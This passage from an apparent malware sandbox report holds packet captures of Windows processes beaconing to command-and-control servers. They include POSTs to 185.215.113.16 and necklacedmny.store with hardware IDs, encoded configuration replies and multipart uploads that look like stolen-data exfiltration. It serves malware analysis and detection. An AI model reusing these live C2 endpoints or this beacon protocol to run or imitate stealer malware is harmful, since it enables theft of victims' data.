Oct 29, 2024 20:37:16.555603981 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 29, 2024 20:37:16.555619955 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 29, 2024 20:37:16.555668116 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 29, 2024 20:37:16.555685997 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 29, 2024 20:37:16.555700064 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 29, 2024 20:37:16.561851978 CET	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50014	185.215.113.16	80	3960	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:37:16.745655060 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001196001&unit=246122658369
Oct 29, 2024 20:37:17.668231010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 19:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49721	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:12 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:35:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:35:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4resltgrm2nein3khb856samu; expires=Sat, 22 Feb 2025 13:21:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dsUQCyq9I%2Fv2JC2hf6rZ8agbRaNmEYG27egJyA2aNdcA9V2qgFZ2WLiaDi0o7e4%2FmmrUK2Ut92LBehUp5knMVoPs7aF9dZRgPvuVlFLp8vMMVuv%2F0a51BlMIcmnjcoTtXf19rSg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59b7f89c7346a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1130&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1941018&cwnd=251&unsent_bytes=0&cid=70b91d0337656d69&ts=558&x=0"
2024-10-29 19:35:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:35:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49727	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:35:13 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 19:35:14 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1oan0b4345u5u12is02pub6eja; expires=Sat, 22 Feb 2025 13:21:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOELYvMpLsy1UPyHo%2FpXtZm3DykopzR3c6W3SSHPJwf0JCVKS19fxgFjzUp7Y8NrcLS2DJSYWJRByfHQvwH3vpRc8briq9Tc6AUQhstNU0KcQyj5rT6D6eAz59iiSAekbu1ilLI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59b86b89a2e17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1410&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1926813&cwnd=245&unsent_bytes=0&cid=cfacb78c98d1eb40&ts=509&x=0"
2024-10-29 19:35:14 UTC	360	IN	Data Raw: 34 34 36 63 0d 0a 36 77 4c 55 2b 6c 74 6c 2b 62 6a 79 65 68 59 4b 4f 61 36 77 62 44 51 49 34 43 73 45 65 44 69 35 38 7a 49 6d 72 65 59 6a 56 6c 32 51 49 4b 4c 59 59 56 48 56 6d 6f 45 66 4e 44 42 4e 33 4d 55 4a 47 43 71 42 54 79 5a 43 58 74 69 66 51 55 4f 42 78 46 55 37 66 39 46 6b 74 5a 59 6f 41 4e 57 61 6c 77 49 30 4d 47 4c 56 6b 67 6c 61 4b 74 6f 4a 59 52 4a 61 32 4a 39 51 52 38 61 4a 55 7a 6f 2b 67 32 36 7a 6b 6a 34 47 6e 64 6d 65 46 33 4e 76 58 4d 2f 61 41 6c 31 6c 69 45 59 6d 56 42 72 63 69 52 41 63 6a 36 74 47 49 6a 79 6d 59 36 65 52 65 52 6a 56 77 39 41 66 65 43 67 44 6a 4e 45 4a 56 6d 53 47 54 32 38 51 55 4e 47 58 55 55 4c 48 6c 6b 6f 77 4e 59 4e 67 73 4a 4d 30 44 34 6e 55 6c 42 42 34 61 56 62 50 6b 6b 41 57 62 5a 6f 4a 50 6c 6f 4a 36 5a 4a 42 56 Data Ascii: 446c6wLU+ltl+bjyehYKOa6wbDQI4CsEeDi58zImreYjVl2QIKLYYVHVmoEfNDBN3MUJGCqBTyZCXtifQUOBxFU7f9FktZYoANWalwI0MGLVkglaKtoJYRJa2J9QR8aJUzo+g26zkj4GndmeF3NvXM/aAl1liEYmVBrciRAcj6tGIjymY6eReRjVw9AfeCgDjNEJVmSGT28QUNGXUULHlkowNYNgsJM0D4nUlBB4aVbPkkAWbZoJPloJ6ZJBV
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 4e 2f 62 55 6e 48 32 77 4e 62 61 6f 39 44 61 52 6c 61 33 4a 74 61 53 38 57 41 54 44 6b 35 69 57 44 32 31 6e 6b 41 67 35 72 49 57 46 64 74 53 38 76 65 47 42 52 51 77 6c 59 6f 41 78 72 63 6e 52 41 63 6a 34 78 45 4e 7a 79 43 62 37 57 51 4d 68 57 62 79 4a 59 56 63 58 70 64 79 64 77 45 56 58 69 49 52 32 41 5a 55 39 43 59 56 55 50 4c 78 41 39 30 4f 4a 45 67 37 74 67 59 43 70 44 57 6d 67 39 30 4b 45 53 43 79 30 35 52 5a 73 49 52 4a 68 35 62 33 35 42 55 53 73 47 41 54 54 49 78 68 47 2b 77 6b 6a 6b 41 6b 64 4b 59 47 58 6c 6a 56 4d 7a 58 41 31 4a 73 6a 6b 68 6a 57 68 53 62 6c 6b 67 45 6c 38 52 76 4d 7a 79 62 49 6f 4f 62 4e 77 6d 63 7a 4e 41 48 4f 6e 45 62 79 39 35 4f 44 69 71 4d 54 47 6b 49 57 38 6d 55 58 6c 62 44 67 55 63 35 50 49 64 67 73 35 38 30 43 5a 33 64 6b Data Ascii: N/bUnH2wNbao9DaRla3JtaS8WATDk5iWD21nkAg5rIWFdtS8veGBRQwlYoAxrcnRAcj4xENzyCb7WQMhWbyJYVcXpdydwEVXiIR2AZU9CYVUPLxA90OJEg7tgYCpDWmg90KESCy05RZsIRJh5b35BUSsGATTIxhG+wkjkAkdKYGXljVMzXA1JsjkhjWhSblkgEl8RvMzybIoObNwmczNAHOnEby95ODiqMTGkIW8mUXlbDgUc5PIdgs580CZ3dk
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 62 79 39 35 4f 44 69 71 4f 51 47 59 52 55 4e 2b 52 56 30 6e 4b 68 30 59 33 4d 6f 35 71 75 4a 38 39 43 35 4c 58 6c 68 68 7a 62 46 37 65 31 77 64 61 5a 73 49 48 4a 68 31 43 6d 38 6b 51 61 38 69 53 51 68 73 38 6d 47 6e 32 68 33 63 65 32 39 32 63 57 43 77 6f 58 4d 6e 61 42 56 42 69 67 6c 74 6a 46 46 48 61 6d 31 5a 46 77 6f 68 48 4e 44 36 4a 5a 72 71 59 50 67 43 4a 79 4a 55 65 5a 6d 49 62 67 70 49 4a 54 69 72 61 43 56 41 4b 54 63 71 48 45 6e 48 4d 69 6b 38 7a 4b 63 6c 2f 2b 49 46 35 41 4a 65 61 79 46 68 2f 61 46 66 4c 32 67 68 53 59 6f 31 47 62 77 68 62 31 35 39 43 51 38 2b 4e 54 7a 73 7a 67 47 32 78 6c 54 49 4e 6c 74 36 58 47 54 51 6d 47 38 76 4b 54 67 34 71 74 46 6c 72 46 6e 54 51 6e 56 6b 45 30 4d 70 59 64 44 69 46 49 4f 37 59 50 51 75 54 30 4a 38 52 66 6d Data Ascii: by95ODiqOQGYRUN+RV0nKh0Y3Mo5quJ89C5LXlhhzbF7e1wdaZsIHJh1Cm8kQa8iSQhs8mGn2h3ce292cWCwoXMnaBVBigltjFFHam1ZFwohHND6JZrqYPgCJyJUeZmIbgpIJTiraCVAKTcqHEnHMik8zKcl/+IF5AJeayFh/aFfL2ghSYo1Gbwhb159CQ8+NTzszgG2xlTINlt6XGTQmG8vKTg4qtFlrFnTQnVkE0MpYdDiFIO7YPQuT0J8Rfm
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 43 46 6b 71 7a 41 6c 68 41 68 71 44 30 58 39 6a 2b 73 5a 67 44 6e 2b 57 4c 71 2f 59 50 67 76 62 67 74 41 55 64 32 52 54 77 39 51 48 57 6d 43 4c 51 6d 6f 52 58 74 65 59 56 55 4c 4f 67 55 51 31 4f 34 56 71 73 4a 73 36 43 4a 54 56 6d 46 67 36 4b 46 7a 55 6b 6c 59 57 54 35 56 43 61 42 77 61 78 4e 39 4a 42 4d 69 49 41 57 78 2f 68 57 6d 77 6e 6a 77 4c 6d 74 79 59 48 58 78 73 57 73 72 55 44 56 6c 75 68 30 68 70 48 6c 62 56 6d 31 46 46 77 34 39 4f 50 7a 72 4a 4c 76 61 66 49 55 66 44 6d 71 45 62 59 6e 39 4c 77 4a 49 52 47 48 50 43 54 6d 70 61 41 70 75 51 51 6b 37 46 69 6b 51 37 4f 6f 70 76 73 5a 55 2f 43 35 48 54 6d 42 35 37 59 55 6e 50 33 67 42 52 5a 49 35 48 61 78 42 5a 31 74 45 65 42 4d 69 63 41 57 78 2f 70 57 65 37 74 6a 49 4c 6e 4a 71 50 56 6d 30 6f 58 4d 43 Data Ascii: CFkqzAlhAhqD0X9j+sZgDn+WLq/YPgvbgtAUd2RTw9QHWmCLQmoRXteYVULOgUQ1O4VqsJs6CJTVmFg6KFzUklYWT5VCaBwaxN9JBMiIAWx/hWmwnjwLmtyYHXxsWsrUDVluh0hpHlbVm1FFw49OPzrJLvafIUfDmqEbYn9LwJIRGHPCTmpaApuQQk7FikQ7OopvsZU/C5HTmB57YUnP3gBRZI5HaxBZ1tEeBMicAWx/pWe7tjILnJqPVm0oXMC
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 73 4a 2f 59 51 70 4b 32 4e 4e 68 55 73 79 53 53 6a 6b 7a 79 58 2f 34 67 58 6b 41 6c 35 72 49 57 48 4a 6e 55 73 2f 64 44 31 39 6d 6a 30 78 76 48 31 76 64 6c 56 70 4f 7a 34 4a 48 4e 54 71 44 59 37 65 53 4d 41 43 54 33 5a 4d 4b 4e 43 59 62 79 38 70 4f 44 69 71 72 54 6e 51 55 53 70 75 4f 48 6c 32 50 67 30 31 30 5a 38 6c 6b 76 4a 63 39 41 4a 66 63 6c 52 35 35 61 56 54 4e 30 67 46 53 59 59 74 50 5a 78 64 66 31 70 56 43 54 73 53 4c 54 54 30 7a 68 43 44 34 32 44 34 66 32 34 4c 51 4b 58 6c 6d 56 63 76 45 54 6b 6b 6b 6d 77 6c 68 46 68 71 44 30 56 46 49 77 49 64 4f 4e 7a 79 49 61 71 53 4b 4e 51 36 54 33 35 77 54 65 6d 35 4a 79 74 30 48 56 57 6d 4c 54 6d 34 57 55 4e 69 57 45 41 71 50 67 31 6c 30 5a 38 6c 44 6f 59 67 30 52 34 53 55 69 56 68 7a 5a 42 75 55 6b 67 5a 62 Data Ascii: sJ/YQpK2NNhUsySSjkzyX/4gXkAl5rIWHJnUs/dD19mj0xvH1vdlVpOz4JHNTqDY7eSMACT3ZMKNCYby8pODiqrTnQUSpuOHl2Pg010Z8lkvJc9AJfclR55aVTN0gFSYYtPZxdf1pVCTsSLTT0zhCD42D4f24LQKXlmVcvETkkkmwlhFhqD0VFIwIdONzyIaqSKNQ6T35wTem5Jyt0HVWmLTm4WUNiWEAqPg1l0Z8lDoYg0R4SUiVhzZBuUkgZb
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 6b 54 55 39 2b 5a 55 30 54 4c 67 45 59 78 50 49 56 72 73 5a 73 32 41 35 4c 55 6d 52 63 30 4a 68 76 4c 79 6b 34 4f 4b 71 4e 53 5a 52 5a 58 6d 34 34 65 58 59 2b 44 54 58 52 6e 79 57 79 34 6e 54 6b 4e 6e 64 36 56 48 6e 35 74 57 38 66 52 41 56 4a 73 68 6b 5a 6d 45 56 50 61 6c 31 56 4f 78 49 4a 4d 4e 7a 6d 50 49 50 6a 59 50 68 2f 62 67 74 41 34 62 32 56 58 79 35 49 52 47 48 50 43 54 6d 70 61 41 70 75 61 58 45 44 49 68 45 77 33 4e 34 78 6b 76 4a 30 35 44 34 6e 53 6b 42 39 6d 65 6c 76 46 31 77 4a 56 61 6f 5a 50 62 78 78 5a 33 39 45 65 42 4d 69 63 41 57 78 2f 70 47 79 78 73 54 34 63 32 38 58 65 41 54 52 76 56 34 79 4b 54 6c 64 68 69 45 5a 72 47 56 7a 59 6d 6c 56 4f 7a 6f 4e 4a 4f 53 32 4b 62 37 6d 63 4f 51 69 64 33 4a 45 58 63 6d 39 53 7a 64 6f 4a 46 69 54 43 54 Data Ascii: kTU9+ZU0TLgEYxPIVrsZs2A5LUmRc0JhvLyk4OKqNSZRZXm44eXY+DTXRnyWy4nTkNnd6VHn5tW8fRAVJshkZmEVPal1VOxIJMNzmPIPjYPh/bgtA4b2VXy5IRGHPCTmpaApuaXEDIhEw3N4xkvJ05D4nSkB9melvF1wJVaoZPbxxZ39EeBMicAWx/pGyxsT4c28XeATRvV4yKTldhiEZrGVzYmlVOzoNJOS2Kb7mcOQid3JEXcm9SzdoJFiTCT
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 63 67 56 64 54 77 4d 51 50 64 44 44 4a 4f 49 2f 59 4d 41 43 41 79 34 59 56 5a 47 38 62 38 35 78 4f 54 69 72 61 43 56 4d 5a 56 4e 57 57 52 6c 57 43 6f 31 63 2b 4f 4a 6c 6e 6f 5a 64 35 53 64 76 63 30 45 41 6e 4a 68 76 49 77 30 34 4f 4f 74 41 53 4d 30 6b 4e 69 38 4e 50 43 74 62 45 56 33 52 6e 32 79 37 32 69 6e 6c 66 32 35 32 54 43 6d 5a 75 57 4e 72 52 53 57 68 55 70 56 4e 72 48 45 33 4b 72 32 35 44 31 59 6c 48 49 79 37 46 64 62 57 57 4e 77 43 4e 6d 74 35 59 65 79 67 44 39 5a 4a 47 46 6c 58 4d 43 58 35 61 41 70 75 6b 55 30 72 42 67 31 63 6c 63 71 35 36 75 35 34 75 46 74 75 55 30 42 34 30 4d 41 75 43 6b 67 70 48 4b 74 6f 5a 4e 45 45 50 69 4d 59 41 46 74 44 4b 57 48 51 70 79 54 6a 6b 31 6e 6b 56 32 34 4c 51 58 33 64 36 53 63 72 52 47 46 55 74 76 48 64 49 48 56 Data Ascii: cgVdTwMQPdDDJOI/YMACAy4YVZG8b85xOTiraCVMZVNWWRlWCo1c+OJlnoZd5Sdvc0EAnJhvIw04OOtASM0kNi8NPCtbEV3Rn2y72inlf252TCmZuWNrRSWhUpVNrHE3Kr25D1YlHIy7FdbWWNwCNmt5YeygD9ZJGFlXMCX5aApukU0rBg1clcq56u54uFtuU0B40MAuCkgpHKtoZNEEPiMYAFtDKWHQpyTjk1nkV24LQX3d6ScrRGFUtvHdIHV
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 53 73 69 53 55 48 6b 59 68 32 65 33 6a 69 6b 51 6c 4a 72 65 57 48 49 6f 41 35 36 63 54 6c 4a 37 77 68 45 32 53 41 47 4f 77 67 63 55 6e 5a 73 50 4c 58 2b 66 49 4f 37 4b 64 30 65 4a 6d 73 68 59 4d 32 74 4a 33 74 51 4e 51 47 6e 46 64 31 67 39 56 4e 79 51 52 6c 54 59 69 77 34 61 43 61 68 65 69 49 30 36 43 5a 58 64 68 67 6b 30 4a 68 76 44 6b 6c 5a 76 4b 73 6f 4a 57 56 51 61 77 39 45 49 42 50 71 48 54 7a 6f 34 6e 33 48 37 76 7a 63 41 6d 73 79 41 44 33 73 6e 64 66 72 7a 54 68 67 71 68 41 6b 2b 53 42 53 62 6c 55 45 45 6c 39 51 54 62 32 72 61 4e 2b 62 4b 4a 6b 6d 43 6d 6f 5a 59 4c 44 6f 56 6a 4d 42 4f 44 69 72 46 53 6e 51 49 58 4e 69 48 55 77 50 78 75 6d 59 36 4f 49 68 32 70 70 55 31 4a 70 6a 4c 6d 69 5a 4b 66 56 6a 43 33 41 6c 41 65 38 49 48 4a 68 55 61 67 36 67 Data Ascii: SsiSUHkYh2e3jikQlJreWHIoA56cTlJ7whE2SAGOwgcUnZsPLX+fIO7Kd0eJmshYM2tJ3tQNQGnFd1g9VNyQRlTYiw4aCaheiI06CZXdhgk0JhvDklZvKsoJWVQaw9EIBPqHTzo4n3H7vzcAmsyAD3sndfrzThgqhAk+SBSblUEEl9QTb2raN+bKJkmCmoZYLDoVjMBODirFSnQIXNiHUwPxumY6OIh2ppU1JpjLmiZKfVjC3AlAe8IHJhUag6g
2024-10-29 19:35:14 UTC	1369	IN	Data Raw: 45 59 4b 41 61 52 79 73 59 67 36 52 62 66 64 6e 52 52 4b 56 6d 7a 64 31 52 34 55 54 49 46 66 5a 56 6f 55 6d 34 6b 51 48 49 2b 70 55 7a 4d 76 69 69 4b 61 6e 7a 51 4c 32 38 58 65 41 54 52 2b 47 35 53 42 51 42 5a 34 77 68 45 6d 58 56 6e 4a 67 31 5a 48 32 59 63 47 43 67 47 6b 63 72 47 49 4f 6b 57 71 31 35 51 4f 59 57 74 4c 79 2b 77 77 65 33 69 46 57 57 56 59 66 2b 48 54 59 56 4c 4d 68 45 38 7a 66 38 63 67 72 74 68 68 52 37 62 49 6c 77 68 33 4b 6e 37 32 6b 44 39 41 61 59 4a 48 59 56 70 46 6c 59 67 51 55 6f 2f 63 45 6e 70 2f 6d 79 44 75 32 48 34 4a 6c 74 75 54 46 6e 64 36 53 63 72 52 47 46 55 74 76 48 64 4a 45 56 76 4c 6e 45 46 4a 79 35 4a 2f 43 68 69 50 5a 62 47 6d 42 7a 43 4b 33 59 42 61 55 6d 74 4e 7a 35 4a 41 46 6e 4c 43 45 53 59 39 58 4e 36 57 45 41 71 50 Data Ascii: EYKAaRysYg6RbfdnRRKVmzd1R4UTIFfZVoUm4kQHI+pUzMviiKanzQL28XeATR+G5SBQBZ4whEmXVnJg1ZH2YcGCgGkcrGIOkWq15QOYWtLy+wwe3iFWWVYf+HTYVLMhE8zf8cgrthhR7bIlwh3Kn72kD9AaYJHYVpFlYgQUo/cEnp/myDu2H4JltuTFnd6ScrRGFUtvHdJEVvLnEFJy5J/ChiPZbGmBzCK3YBaUmtNz5JAFnLCESY9XN6WEAqP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49738	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 19:35:15 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:35:26 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aqug3eeff1ar7qe8a3rprvi8g4; expires=Sat, 22 Feb 2025 13:21:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5BX2IVNygFT%2FetW%2BQUE%2FQioZMRWp5CtOICs%2B8eEHFWGTGj0lLW54Y3VjoPWseBq6HfT5MTRLCgtX4AabfFNa9OVm42DsbIqV6FQSSFnZOjRp%2Bs7kPhnFseUFlrC062yWuUFVItY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59b8f98f6465c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1951&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13791&delivery_rate=1419607&cwnd=243&unsent_bytes=0&cid=00eb351305a4076f&ts=11025&x=0"
2024-10-29 19:35:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:35:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49804	188.114.96.3	443	7444	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:26 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-29 19:35:26 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 